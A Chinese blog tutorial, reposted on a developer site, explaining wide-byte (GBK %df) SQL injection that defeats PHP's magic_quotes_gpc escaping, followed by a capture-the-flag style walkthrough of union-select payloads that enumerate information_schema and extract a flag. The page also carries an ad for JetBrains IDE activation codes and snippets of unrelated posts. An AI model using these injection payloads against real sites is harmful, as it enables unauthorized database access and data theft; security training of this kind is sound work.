宽字节注入(一)_低字节在前高字节在后

宽字节注入(一)_低字节在前高字节在后在PHP中有这样一个函数:magic_quotes_gpc它的作用就是将你输入的特殊字符前面统统加一个\符号如下图前2句话在看下面这条语句之前,我们首先需要知道。\’只能和\’进行闭合下面这个语句,显然不能将1进行闭合。而是将\当成了一个字符串。后面的单引号把后面的给后面的给闭合了。不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。select*fromadminwhereid=’1\’unionselect–+

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

在PHP中有这样一个函数:
magic_quotes_gpc
它的作用就是将你输入的特殊字符前面统统加一个 \ 符号

如下图前2句话

在这里插入图片描述
在看下面这条语句之前,我们首先需要知道。

\'  只能和\'进行闭合

下面这个语句,显然不能将 1 进行闭合。而是将 \ 当成了一个字符串。后面的单引号把后面的给后面的给闭合了。

不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。

select * from admin where id='1\' union select -- + '

而遇到魔术引号这哥函数,我们有2种方法,下面就来介绍宽字节注入
在这里插入图片描述

宽字节注入原理

上面我们已经知道了魔术引号的作用了,是将特殊字符前加一个 \ 符号,这样就不能闭合了。
而我们想要SQL注入的话,就必须闭合才能SQL注入。

前提条件:
数据库必须是其他编码,比如utf-8 , gbk ,不能是英语编码(ascii)就行

然后我们知道 \ 的编码为 5c 也就是一个字符,而gbk编码是占2个字符,utf-8编码是占3个字符,
这里我们就以 gbk编码来举列子,5c加上另一个字符就可以组成一个汉字,比如 d55c 就可以组成一个繁体汉字“誠”
而我们这里是URL传参,所以是 %d5%5c
在这里插入图片描述

举例

id=1%df' union select 1,2,3 — qwe 
为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。

为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

以下是练习,可以不用看


%df' and 1=1 -- + 回显正常 %df' and 1=2 -- + 回显错误
说明存在sql注入,而且是宽字节注入

在这里插入图片描述
判断字段数

%df' order by 3 -- + 回显正常 %df' order by 4 -- + 回显错误,那就说明有3个字段

在这里插入图片描述
判断回显位

%df' union select 1,2,3 -- +

在这里插入图片描述
从上面我们知道有2个回显位
那么现在就来判断数据库版本和当前数据库
在这里插入图片描述
联合查询当前数据库里的表
这里我就不过多介绍一些数据库函数了,在显错注入(一)里有介绍

 %df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +

在这里插入图片描述
联合查询表里的字段
在这里我们很明显是为了拿flag,那么就选第一个表,其他的表就不多测试了

因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' -- +

第一种方法:那么就不选表,全部输出

%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() -- +

在这里插入图片描述
第二种方法:如果硬要选择表的话,那就是

%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) -- +

在这里插入图片描述
第三种方法:因为数据库认识16进制,那么我们查询出表之后,就把表的字符转成16进制。
网站地址 https://www.bejson.com/convert/ox2str/
在这里插入图片描述
0x是16进制的标识

%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 -- +

在这里插入图片描述
联合查询表里的字段

%df' union select 1,2,group_concat(C_Flag) from china_flag -- +

在这里插入图片描述
好了,成功拿到flag!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/182115.html原文链接:https://javaforall.net

(0)
上一篇 2022年10月14日 下午12:16
下一篇 2022年10月14日 下午12:16


相关推荐

  • JodaTime时间处理工具使用详解

    JodaTime时间处理工具使用详解工作中经常用到java日期类型Date、Calendar或SimpleDateFormat,但是这些日期工具类要么提供了过期的方法(Date),要么就是功能不够强大。最近突然用到了Joda-Time日期工具,发现非常好用,就撰写此文,以便学习和交流。

    2022年6月17日
    30
  • 常量表达式概念与用处的关系_常量和变量有什么异同点

    常量表达式概念与用处的关系_常量和变量有什么异同点1)什么叫常量表达式?        在编译期间进行求值的表达式。    1、字面值常量是常量表达式;如123,‘a’,3.14等    2、用常量表达式初始化的const对象也是常量表达式。如intconsta=5;语句中a就是常量表达式2)什么地方会用到常量表达式?        就目前所知道的有三个,后面如果发现再新增。

    2026年4月18日
    6
  • Idea中创建maven项目(超详细)

    Idea中创建maven项目(超详细)Idea 中创建 maven 项目提示 前提条件时 maven 已经安装好 并且环境变量也配置完成 maven 没安装好或者环境变量没有配置好的请参考我上一篇文章 maven 的安装和配置文章目录 Idea 中创建 maven 项目前言一 使用步骤 1 在 Idea 中配置 maven2 在 Idea 中创建 maven 项目 3 完善 maven web 项目模板总结前言测试 maven 版本 maven 3 6 3 jdk 版本 1 8 一 使用步骤 1 在 Idea 中配置 maven 1 打开 Idea 点击 File 然后点击 Sett

    2026年1月28日
    3
  • 服务器重启docker命令「建议收藏」

    服务器重启docker命令「建议收藏」启动步骤:1、启动Docker守护进程systemctldaemon-reload2、Docker启动命令:  systemctlstartdocker3、查看docker服务是否启动  ps-ef|grepdocker4、查看docker启动的服务:dockerps其他:重启docker服务systemctlrestartdocker停止docker服务systemc…

    2022年5月16日
    228
  • 左值和右值、左值引用与右值引用、移动语句(2)「建议收藏」

    以下来自IBM知识中心表达式可以分为以下值类别之一:左值Lvalue:如果表达式不是const限定的,则表达式可以出现在赋值表达式的左侧。 x值:要过期的右值引用。 右值(Prvalue)rvalue:非xvalue表达式,仅出现在赋值表达式的右侧。Rvalues包括xvalues和prvalues。Lvalues和xvalues可以称为glvalues。Note:类(p…

    2022年4月8日
    52
  • 无线突然变叉,无法使用[通俗易懂]

    无线突然变叉,无法使用[通俗易懂]1.查看了驱动,是正常的2.查看了控制面板,“无线”是开启的2.win + r 输入 services.msc进入策略这个三个改为自动,重启电脑

    2022年8月18日
    7

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号